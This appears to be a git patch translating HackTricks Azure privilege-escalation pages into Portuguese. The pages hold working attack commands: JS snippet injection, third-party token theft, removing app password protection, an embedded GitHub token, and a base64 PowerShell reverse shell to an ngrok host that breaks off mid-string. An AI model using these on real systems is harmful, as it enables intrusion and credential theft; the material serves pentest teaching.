From 769757aff80b0a32656be91e4a5b947737805466 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 2 Apr 2025 15:53:19 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az --- scripts/clean_for_ai.py | 145 -------- .../az-key-vault-post-exploitation.md | 10 +- ...z-container-instances-apps-jobs-privesc.md | 7 +- .../az-static-web-apps-privesc.md | 333 +++++++++--------- ...az-virtual-machines-and-network-privesc.md | 28 +- 5 files changed, 193 insertions(+), 330 deletions(-) delete mode 100644 scripts/clean_for_ai.py diff --git a/scripts/clean_for_ai.py b/scripts/clean_for_ai.py deleted file mode 100644 index dd8035ed0..000000000 --- a/scripts/clean_for_ai.py +++ /dev/null @@ -1,145 +0,0 @@ -import os -import re -import tempfile - -def clean_and_merge_md_files(start_folder, exclude_keywords, output_file): - def clean_file_content(file_path): - """Clean the content of a single file and return the cleaned lines.""" - with open(file_path, "r", encoding="utf-8") as f: - content = f.readlines() - - cleaned_lines = [] - inside_hint = False - for i,line in enumerate(content): - # Skip lines containing excluded keywords - if any(keyword in line for keyword in exclude_keywords): - continue - - # Detect and skip {% hint %} ... {% endhint %} blocks - if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]: - inside_hint = True - if "{% endhint %}" in line: - inside_hint = False - continue - if inside_hint: - continue - - # Skip lines with
...
- if re.match(r"
.*?
", line): - continue - - # Add the line if it passed all checks - cleaned_lines.append(line.rstrip()) - - # Remove excess consecutive empty lines - cleaned_lines = remove_consecutive_empty_lines(cleaned_lines) - return cleaned_lines - - def remove_consecutive_empty_lines(lines): - """Allow no more than one consecutive empty line.""" - cleaned_lines = [] - previous_line_empty = False - for line in lines: - if line.strip() == "": - if not previous_line_empty: - cleaned_lines.append("") - previous_line_empty = True - else: - cleaned_lines.append(line) - previous_line_empty = False - return cleaned_lines - - def gather_files_in_order(start_folder): - """Gather all .md files in a depth-first order.""" - files = [] - for root, _, filenames in os.walk(start_folder): - md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md")]) - files.extend(md_files) - return files - - # Gather files in depth-first order - all_files = gather_files_in_order(start_folder) - - # Process files and merge into a single output - with open(output_file, "w", encoding="utf-8") as output: - for file_path in all_files: - # Clean the content of the file - cleaned_content = clean_file_content(file_path) - - # Skip saving if the cleaned file has fewer than 10 non-empty lines - if len([line for line in cleaned_content if line.strip()]) < 10: - continue - - # Get the name of the file for the header - file_name = os.path.basename(file_path) - - # Write header, cleaned content, and 2 extra new lines - output.write(f"# {file_name}\n\n") - output.write("\n".join(cleaned_content)) - output.write("\n\n") - -def main(): - # Specify the starting folder and output file - start_folder = os.getcwd() - output_file = os.path.join(tempfile.gettempdir(), "merged_output.md") - - # Keywords to exclude from lines - exclude_keywords = [ - "STM Cyber", # STM Cyber ads - "offer several valuable cybersecurity services", # STM Cyber ads - "and hack the unhackable", # STM Cyber ads - "blog.stmcyber.com", # STM Cyber ads - - "RootedCON", # RootedCON ads - "rootedcon.com", # RootedCON ads - "the mission of promoting technical knowledge", # RootedCON ads - - "Intigriti", # Intigriti ads - "intigriti.com", # Intigriti ads - - "Trickest", # Trickest ads - "trickest.com", # Trickest ads, - "Get Access Today:", - - "HACKENPROOF", # Hackenproof ads - "hackenproof.com", # Hackenproof ads - "HackenProof", # Hackenproof ads - "discord.com/invite/N3FrSbmwdy", # Hackenproof ads - "Hacking Insights:", # Hackenproof ads - "Engage with content that delves", # Hackenproof ads - "Real-Time Hack News:", # Hackenproof ads - "Keep up-to-date with fast-paced", # Hackenproof ads - "Latest Announcements:", # Hackenproof ads - "Stay informed with the newest bug", # Hackenproof ads - "start collaborating with top hackers today!", # Hackenproof ads - "discord.com/invite/N3FrSbmwdy", # Hackenproof ads - - "Pentest-Tools", # Pentest-Tools.com ads - "pentest-tools.com", # Pentest-Tools.com ads - "perspective on your web apps, network, and", # Pentest-Tools.com ads - "report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads - - "SerpApi", # SerpApi ads - "serpapi.com", # SerpApi ads - "offers fast and easy real-time", # SerpApi ads - "plans includes access to over 50 different APIs for scraping", # SerpApi ads - - "8kSec", # 8kSec ads - "academy.8ksec.io", # 8kSec ads - "Learn the technologies and skills required", # 8kSec ads - - "WebSec", # WebSec ads - "websec.nl", # WebSec ads - "which means they do it all; Pentesting", # WebSec ads - ] - - # Clean and merge .md files - clean_and_merge_md_files(start_folder, exclude_keywords, output_file) - - # Print the path to the output file - print(f"Merged content has been saved to: {output_file}") - -if __name__ == "__main__": - # Execute this from the hacktricks folder to clean - # It will clean all the .md files and compile them into 1 in a proper order - main() diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index a622fbce3..b83d9bbe2 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -12,7 +12,7 @@ Para mais informações sobre este serviço, consulte: ### Microsoft.KeyVault/vaults/secrets/getSecret/action -Esta permissão permitirá que um principal leia o valor secreto dos segredos: +Esta permissão permitirá que um principal leia o valor secreto de segredos: ```bash az keyvault secret show --vault-name --name @@ -27,7 +27,7 @@ az keyvault certificate purge --vault-name --name --name --algorithm --value @@ -85,5 +85,11 @@ az keyvault secret delete --vault-name --name Esta permissão permite que um principal restaure um segredo de um backup. ```bash az keyvault secret restore --vault-name --file +``` +### Microsoft.KeyVault/vaults/keys/recover/action +Permite a recuperação de uma chave previamente excluída de um Azure Key Vault +```bash +az keyvault secret recover --vault-name --name + ``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md index a18244102..51bac7ae7 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-apps-jobs-privesc.md @@ -112,7 +112,7 @@ az containerapp create \ ### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write` -Embora os jobs não sejam de longa duração como os aplicativos de contêiner, você pode explorar a capacidade de substituir a configuração do comando do job ao iniciar uma execução. Ao criar um template de job personalizado (por exemplo, substituindo o comando padrão por um shell reverso), você pode obter acesso ao shell dentro do contêiner que executa o job. +Embora os jobs não sejam de longa duração como os aplicativos de contêiner, você pode explorar a capacidade de substituir a configuração do comando do job ao iniciar uma execução. Ao criar um modelo de job personalizado (por exemplo, substituindo o comando padrão por um shell reverso), você pode obter acesso ao shell dentro do contêiner que executa o job. ```bash # Retrieve the current job configuration and save its template: az containerapp job show --name --resource-group --output yaml > job-template.yaml @@ -173,5 +173,10 @@ Parece que com essas permissões deveria ser possível iniciar um job. Isso pode Não consegui fazê-lo funcionar, mas de acordo com os parâmetros permitidos, deveria ser possível. +### Microsoft.ContainerInstance/containerGroups/restart/action +Permite reiniciar um grupo de contêiner específico dentro do Azure Container Instances. +```bash +az container restart --resource-group --name +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md index 799219ed9..230572eb6 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md @@ -1,10 +1,10 @@ -# Az - Static Web Apps Post Exploitation +# Az - Static Web Apps Pós Exploração {{#include ../../../banners/hacktricks-training.md}} ## Azure Static Web Apps -For more information about this service check: +Para mais informações sobre este serviço, consulte: {{#ref}} ../az-services/az-static-web-apps.md @@ -12,164 +12,153 @@ For more information about this service check: ### Microsoft.Web/staticSites/snippets/write -It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets). - -The fllowing command create an snippet that will always be loaded by the web app:: +É possível fazer uma página web estática carregar código HTML arbitrário criando um snippet. Isso poderia permitir que um atacante injetasse código JS dentro do aplicativo web e roubasse informações sensíveis, como credenciais ou chaves mnemônicas (em carteiras web3). +O seguinte comando cria um snippet que sempre será carregado pelo aplicativo web:: ```bash az rest \ - --method PUT \ - --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ - --headers "Content-Type=application/json" \ - --body '{ - "properties": { - "name": "supersnippet", - "location": "Body", - "applicableEnvironmentsMode": "AllEnvironments", - "content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", - "environments": [], - "insertBottom": false - } - }' +--method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//snippets/?api-version=2022-03-01" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"name": "supersnippet", +"location": "Body", +"applicableEnvironmentsMode": "AllEnvironments", +"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K", +"environments": [], +"insertBottom": false +} +}' ``` +### Ler Credenciais de Terceiros Configuradas -### Read Configured Third Party Credentials - -As explained in the App Service section: +Conforme explicado na seção App Service: {{#ref}} ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} -Running the following command it's possible to **read the third party credentials** configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one. - +Executando o seguinte comando, é possível **ler as credenciais de terceiros** configuradas na conta atual. Note que, se por exemplo, algumas credenciais do Github estiverem configuradas em um usuário diferente, você não poderá acessar o token de outro. ```bash az rest --method GET \ - --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" ``` +Este comando retorna tokens para Github, Bitbucket, Dropbox e OneDrive. -This command returns tokens for Github, Bitbucket, Dropbox and OneDrive. - -Here you have some command examples to check the tokens: - +Aqui estão alguns exemplos de comandos para verificar os tokens: ```bash # GitHub – List Repositories curl -H "Authorization: token " \ - -H "Accept: application/vnd.github.v3+json" \ - https://api.github.com/user/repos +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos # Bitbucket – List Repositories curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://api.bitbucket.org/2.0/repositories +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories # Dropbox – List Files in Root Folder curl -X POST https://api.dropboxapi.com/2/files/list_folder \ - -H "Authorization: Bearer " \ - -H "Content-Type: application/json" \ - --data '{"path": ""}' +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' # OneDrive – List Files in Root Folder curl -H "Authorization: Bearer " \ - -H "Accept: application/json" \ - https://graph.microsoft.com/v1.0/me/drive/root/children +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children ``` - ### Overwrite file - Overwrite routes, HTML, JS... -It's possible to **overwrite a file inside the Github repo** containing the app through Azure having the **Github token** sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message. +É possível **substituir um arquivo dentro do repositório do Github** que contém o aplicativo através do Azure, enviando um pedido com o **token do Github** como o seguinte, que indicará o caminho do arquivo a ser substituído, o conteúdo do arquivo e a mensagem de commit. -This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file. +Isso pode ser explorado por atacantes para basicamente **mudar o conteúdo do aplicativo web** para servir conteúdo malicioso (roubar credenciais, chaves mnemônicas...) ou apenas para **redirecionar certos caminhos** para seus próprios servidores, substituindo o arquivo `staticwebapp.config.json`. > [!WARNING] -> Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github. - +> Note que se um atacante conseguir comprometer o repositório do Github de qualquer forma, ele também pode substituir o arquivo diretamente do Github. ```bash curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \ -H "Content-Type: application/json" \ -d '{ - "commit": { - "message": "Update static web app route configuration", - "branchName": "main", - "committer": { - "name": "Azure App Service", - "email": "donotreply@microsoft.com" - }, - "contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", - "filePath": "staticwebapp.config.json", - "message": "Update static web app route configuration", - "repoName": "carlospolop/my-first-static-web-app", - "sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" - }, - "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" +"commit": { +"message": "Update static web app route configuration", +"branchName": "main", +"committer": { +"name": "Azure App Service", +"email": "donotreply@microsoft.com" +}, +"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==", +"filePath": "staticwebapp.config.json", +"message": "Update static web app route configuration", +"repoName": "carlospolop/my-first-static-web-app", +"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4" +}, +"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL" }' ``` +### Microsoft.Web/staticSites/config/write - -### Microsoft.Web/staticSites/config/write - -With this permission, it's possible to **modify the password** protecting a static web app or even unprotect every environment by sending a request such as the following: - +Com esta permissão, é possível **modificar a senha** que protege um aplicativo web estático ou até mesmo desproteger todos os ambientes enviando uma solicitação como a seguinte: ```bash # Change password az rest --method put \ --url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ --headers 'Content-Type=application/json' \ --body '{ - "name": "basicAuth", - "type": "Microsoft.Web/staticSites/basicAuth", - "properties": { - "password": "SuperPassword123.", - "secretUrl": "", - "applicableEnvironmentsMode": "AllEnvironments" - } +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"password": "SuperPassword123.", +"secretUrl": "", +"applicableEnvironmentsMode": "AllEnvironments" +} }' + + # Remove the need of a password az rest --method put \ --url "/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//config/basicAuth?api-version=2021-03-01" \ --headers 'Content-Type=application/json' \ --body '{ - "name": "basicAuth", - "type": "Microsoft.Web/staticSites/basicAuth", - "properties": { - "secretUrl": "", - "applicableEnvironmentsMode": "SpecifiedEnvironments", - "secretState": "None" - } +"name": "basicAuth", +"type": "Microsoft.Web/staticSites/basicAuth", +"properties": { +"secretUrl": "", +"applicableEnvironmentsMode": "SpecifiedEnvironments", +"secretState": "None" +} }' ``` - ### Microsoft.Web/staticSites/listSecrets/action -This permission allows to get the **API key deployment token** for the static app: - +Esta permissão permite obter o **token de implantação da chave API** para o aplicativo estático: ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//listSecrets?api-version=2023-01-01" ``` +Então, para **atualizar um aplicativo usando o token**, você poderia executar o seguinte comando. Note que este comando foi extraído verificando **como o Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funciona**, já que é o que a Azure definiu como padrão para usar. Portanto, a imagem e os parâmetros podem mudar no futuro. -Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future. - -1. Download the repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (or any other repo you want to deploy) and run `cd react-basic`. -2. Change the code you want to deploy -3. Deploy it running (Remember to change the ``): +> [!TIP] +> Para implantar o aplicativo, você poderia usar a ferramenta **`swa`** de [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ou seguir os seguintes passos brutos: +1. Baixe o repositório [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ou qualquer outro repositório que você queira implantar) e execute `cd react-basic`. +2. Altere o código que você deseja implantar. +3. Implante-o executando (lembre-se de mudar o ``): ```bash docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN= INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose ``` - ->[!WARNING] -> Even if you have the token you won't be able to deploy the app if the **Deployment Authorization Policy** is set to **Github**. For using the token you will need the permission `Microsoft.Web/staticSites/write` to change the deployment method to use th APi token. +> [!WARNING] +> Mesmo que você tenha o token, não será possível implantar o aplicativo se a **Política de Autorização de Implantação** estiver definida como **Github**. Para usar o token, você precisará da permissão `Microsoft.Web/staticSites/write` para alterar o método de implantação para usar o token da API. ### Microsoft.Web/staticSites/write -With this permission it's possible to **change the source of the static web app to a different Github repository**, however, it won't be automatically provisioned as this must be done from a Github Action. +Com essa permissão, é possível **mudar a fonte do aplicativo web estático para um repositório Github diferente**, no entanto, ele não será provisionado automaticamente, pois isso deve ser feito a partir de uma Ação do Github. -However, if the **Deployment Authotization Policy** is set to **Github**, it's possible to **update the app from the new source repository!**. - -In case the **Deployment Authorization Policy** is not set to Github, you can change it with the same permission `Microsoft.Web/staticSites/write`. +No entanto, se a **Política de Autorização de Implantação** estiver definida como **Github**, é possível **atualizar o aplicativo a partir do novo repositório de origem!**. +Caso a **Política de Autorização de Implantação** não esteja definida como Github, você pode alterá-la com a mesma permissão `Microsoft.Web/staticSites/write`. ```bash # Change the source to a different Github repository az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main @@ -179,117 +168,109 @@ az rest --method PATCH \ --url "https://management.azure.com/subscriptions/>/resourceGroups//providers/Microsoft.Web/staticSites/?api-version=2022-09-01" \ --headers 'Content-Type=application/json' \ --body '{ - "properties": { - "allowConfigFileUpdates": true, - "stagingEnvironmentPolicy": "Enabled", - "buildProperties": { - "appLocation": "/", - "apiLocation": "", - "appArtifactLocation": "build" - }, - "deploymentAuthPolicy": "GitHub", - "repositoryToken": "" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" - } +"properties": { +"allowConfigFileUpdates": true, +"stagingEnvironmentPolicy": "Enabled", +"buildProperties": { +"appLocation": "/", +"apiLocation": "", +"appArtifactLocation": "build" +}, +"deploymentAuthPolicy": "GitHub", +"repositoryToken": "" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +} }' ``` - -Example Github Action to deploy the app: - +Exemplo de Github Action para implantar o aplicativo: ```yaml name: Azure Static Web Apps CI/CD on: - push: - branches: - - main - pull_request: - types: [opened, synchronize, reopened, closed] - branches: - - main +push: +branches: +- main +pull_request: +types: [opened, synchronize, reopened, closed] +branches: +- main jobs: - build_and_deploy_job: - if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed') - runs-on: ubuntu-latest - name: Build and Deploy Job - permissions: - id-token: write - contents: read - steps: - - uses: actions/checkout@v3 - with: - submodules: true - lfs: false - - name: Install OIDC Client from Core Package - run: npm install @actions/core@1.6.0 @actions/http-client - - name: Get Id Token - uses: actions/github-script@v6 - id: idtoken - with: - script: | - const coredemo = require('@actions/core') - return await coredemo.getIDToken() - result-encoding: string - - name: Build And Deploy - id: builddeploy - uses: Azure/static-web-apps-deploy@v1 - with: - azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication - action: "upload" - ###### Repository/Build Configurations - These values can be configured to match your app requirements. ###### - # For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig - app_location: "/" # App source code path - api_location: "" # Api source code path - optional - output_location: "build" # Built app content directory - optional - github_id_token: ${{ steps.idtoken.outputs.result }} - ###### End of Repository/Build Configurations ###### +build_and_deploy_job: +if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed') +runs-on: ubuntu-latest +name: Build and Deploy Job +permissions: +id-token: write +contents: read +steps: +- uses: actions/checkout@v3 +with: +submodules: true +lfs: false +- name: Install OIDC Client from Core Package +run: npm install @actions/core@1.6.0 @actions/http-client +- name: Get Id Token +uses: actions/github-script@v6 +id: idtoken +with: +script: | +const coredemo = require('@actions/core') +return await coredemo.getIDToken() +result-encoding: string +- name: Build And Deploy +id: builddeploy +uses: Azure/static-web-apps-deploy@v1 +with: +azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication +action: "upload" +###### Repository/Build Configurations - These values can be configured to match your app requirements. ###### +# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig +app_location: "/" # App source code path +api_location: "" # Api source code path - optional +output_location: "build" # Built app content directory - optional +github_id_token: ${{ steps.idtoken.outputs.result }} +###### End of Repository/Build Configurations ###### - close_pull_request_job: - if: github.event_name == 'pull_request' && github.event.action == 'closed' - runs-on: ubuntu-latest - name: Close Pull Request Job - steps: - - name: Close Pull Request - id: closepullrequest - uses: Azure/static-web-apps-deploy@v1 - with: - action: "close" +close_pull_request_job: +if: github.event_name == 'pull_request' && github.event.action == 'closed' +runs-on: ubuntu-latest +name: Close Pull Request Job +steps: +- name: Close Pull Request +id: closepullrequest +uses: Azure/static-web-apps-deploy@v1 +with: +action: "close" ``` - ### Microsoft.Web/staticSites/resetapikey/action -With this permision it's possible to **reset the API key of the static web app** potentially DoSing the workflows that automatically deploy the app. - +Com esta permissão, é possível **reiniciar a chave da API do aplicativo web estático**, potencialmente causando DoS nos fluxos de trabalho que implantam automaticamente o aplicativo. ```bash az rest --method POST \ - --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/staticSites//resetapikey?api-version=2019-08-01" ``` - ### Microsoft.Web/staticSites/createUserInvitation/action -This permission allows to **create an invitation to a user** to access protected paths inside a static web app ith a specific given role. - -The login is located in a path such as `/.auth/login/github` for github or `/.auth/login/aad` for Entra ID and a user can be invited with the following command: +Esta permissão permite **criar um convite para um usuário** acessar caminhos protegidos dentro de um aplicativo web estático com um papel específico dado. +O login está localizado em um caminho como `/.auth/login/github` para github ou `/.auth/login/aad` para Entra ID e um usuário pode ser convidado com o seguinte comando: ```bash az staticwebapp users invite \ - --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ - --domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \ - --invitation-expiration-in-hours 168 # 7 days is max \ - --name my-first-static-web-app # Name of the app\ - --roles "contributor,administrator" # Comma sepparated list of roles\ - --user-details username # Github username in this case\ - --resource-group Resource_Group_1 # Resource group of the app +--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \ +--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \ +--invitation-expiration-in-hours 168 # 7 days is max \ +--name my-first-static-web-app # Name of the app\ +--roles "contributor,administrator" # Comma sepparated list of roles\ +--user-details username # Github username in this case\ +--resource-group Resource_Group_1 # Resource group of the app ``` - ### Pull Requests -By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually `main`) to **deploy a malicious version of the app** in the statagging URL. +Por padrão, Pull Requests de um branch no mesmo repositório serão automaticamente compilados e construídos em um ambiente de staging. Isso pode ser explorado por um atacante com acesso de escrita ao repositório, mas sem conseguir contornar as proteções do branch de produção (geralmente `main`) para **implantar uma versão maliciosa do app** na URL de staging. -The staging URL has this format: `https://-..` like: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` +A URL de staging tem este formato: `https://-..` como: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net` > [!TIP] -> Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and **then send a malicious PR** to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, **this attack won't really work**. - +> Note que, por padrão, PRs externos não executarão workflows a menos que tenham mesclado pelo menos 1 PR no repositório. Um atacante poderia enviar um PR válido para o repositório e **então enviar um PR malicioso** para o repositório para implantar o app malicioso no ambiente de staging. NO ENTANTO, há uma proteção inesperada, a ação padrão do Github para implantar no aplicativo web estático precisa de acesso ao segredo contendo o token de implantação (como `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`), mesmo que a implantação seja feita com o IDToken. Isso significa que, como um PR externo não terá acesso a esse segredo e um PR externo não pode alterar o Workflow para colocar aqui um token arbitrário sem que um PR seja aceito, **esse ataque realmente não funcionará**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index aa9e9038d..1a805812b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -65,7 +65,7 @@ az vm extension set \ --protected-settings '{"commandToExecute": "powershell.exe -EncodedCommand JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4